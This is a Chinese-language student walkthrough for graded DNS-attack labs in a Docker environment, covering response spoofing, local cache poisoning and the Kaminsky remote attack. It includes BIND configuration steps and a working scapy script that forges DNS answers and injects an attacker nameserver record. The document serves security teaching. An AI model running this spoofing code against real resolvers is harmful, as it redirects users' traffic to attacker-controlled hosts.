上面文章链接已经对实验过程较为详细的演示,本文主要对实验环境和步骤细节进行补充。预祝大家实验成功,顺利AC。
目录
常用命令
# 域名查询命令
dig www.example.com @10.10.27.2
# dns服务重启
service bind9 restart
# dns服务重启失败或rndc失败可以查看相关报错
named -d 3 -f -g
# 清除dns缓存
rndc flush
# 转储dns缓存
rndc dumpdb -cache
# 控制发包时延--概率控制
sudo tc qdisc add dev br-29c63b220f5a root netem delay 1000ms 100ms 25%
# 控制发包时延--固定控制
sudo tc qdisc add dev br-29c63b220f5a root netem delay 1000ms
# 改变发包时延设置
sudo tc qdisc change dev br-29c63b220f5a root netem delay 1000ms
# 删除发包时延设置
sudo tc qdisc del dev br-29c63b220f5a root netem delay 1000ms
实验一:DNS本地用户响应欺骗
实验环境介绍
实验环境中有两个docker容器,分别是user,IP 10.10.27.3,dns,IP 10.10.27.2,其中user作为用户进行dns查询,dns作为本地的dns服务器,vm,IP 10.10.27.1,作为攻击者进行用户欺骗响应。其中user默认dns服务器指向dns,dns默认开启bind9服务,两个docker默认开启。
攻击过程
1.设置相应网络接口的收发包时延。
首先本实验是概率成功攻击,所以需要设置相应网络接口的收发包时延,这里设置为随机产生时延。如下图所示.
2.在vm上使用netwox工具发起攻击。
netwox 105号工具可以用来进行响应欺骗的攻击,在vm上发起攻击,需要满足实验题目的要求。如下图所示。
3.在user上dig查询www.hust-cse.com的地址。
查询后概率成功,成功会得到满足攻击要求的结果,如下图所示。
4.保持攻击程序持续运行,点击提交即可。
实验二: DNS本地缓存中毒攻击
实验环境介绍
实验环境中有两个docker,其中user IP 10.10.27.3,dns IP 10.10.27.2,vm IP 10.10.27.1,其中user作为用户进行查询,dns作为user的dns服务器提供dns服务。vm作为攻击者进行缓存中毒。系统默认启动两个docker,user默认dns服务器为dns,dns默认启动bind9服务。
攻击过程
1.设置相应网络接口收发包时延。
首先本实验是概率成功攻击,所以需要设置相应网络接口的收发包时延,这里设置为随机产生时延。如下图所示.
2.在vm上发起攻击。
这里采用脚本攻击,在实际的验证过程中netwox攻击失败,所以采用脚本攻击。
3. 使用user查询www.example.net.
查询成功后,会得到如下的结果,必须满足红框结果才可实现测评。如果攻击失败,必须在dns上使用如下指令清除dns缓存后,才可以再次发起攻击。
rndc flush
参考攻击脚本
from scapy.all import *
def spoof_dns(pkt):
# pkt.show()
print(pkt[DNS].qd.qname)
if(DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='20.0.6.14')
# The Authority Section
NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')
#NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='attacker32.com')
# The Additional Section
Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='20.0.8.27')
#Addsec2 = DNSRR(rrname='attacker32.cn', type='A', ttl=259200, rdata='5.6.7.8')
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=1, an=Anssec, ns=NSsec1, ar=Addsec1)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns
pkt = sniff(filter='udp and dst port 53 and src host 10.10.27.2', prn=spoof_dns,iface="br-8f1148536672")
4. 攻击成功之后,关闭自己的攻击程序,提交测评即可。
实验三:DNS远程缓存中毒--Kaminsky攻击
实验环境介绍
实验环境中有3个docker容器,分别是user,IP 10.10.27.3,dns,IP 10.10.27.2,attack,IP 10.10.27.4,其中user作为用户进行dns查询,dns作为本地的dns服务器,attack作为攻击者进行远程缓存中毒攻击并且配置攻击者的dns服务。实际攻击过程中需要合适调整发包时延大小。以及在查询www.example.com的过程中由于网络原因,查询结果无法一次性满足实验要求,有可能需要调整查询方式(后续介绍)。
攻击过程
1. 配置本地dns服务器解析ns.hust-cse.net至attack
编辑dns /etc/bind/named.conf.default-zones文件,添加如下域,并对相应域配置文件(/etc/bind/hust-cse.net.db)进行编辑
重启bind9后,出现如下结果说明配置成功
2. 配置attack dns服务解析example.com 域
和编辑dns中的文件一样,在attack上对/etc/bind/named.conf.default-zones文件和/etc/bind/example.com.db进行编辑,如下所示
重启bind9后,出现如下结果说明成功。
3. 在user上查询www.example.com直至dns上有其ns授权域与ns授权域的ip为止。可以多查询几次,也可以在dig www.example.com后直接查询ns授权域 指向域名的ip,如dig a.iana-servers.net.
可能用到的命令
# 基础查询
dig www.example.com
# 查询NS信息,在尝试多次基础查询后任然只得到一条A记录和一些根域名服务器信息时使用
dig www.example.com NS
# 查询NS授权域的具体IP,在长时间得不到时使用
dig a.iana-servers.net
无论如何查询,查询结果必须包含下图红框内容才可以进行进一步实验
4. 设置发包时延并且发起攻击 ,代码和编译,运行参考实验参考。实测当前实验环境下攻击成功率并不高,需要大量尝试。
时延命令:
sudo tc qdisc add dev br-29c63b220f5a root netem delay 1000ms
5. 最终的攻击效果达到如下图红框中,攻击成功后关闭攻击程序。必须满足红框中要求才可以通过测评。
6.至此可以点击提交进行测评。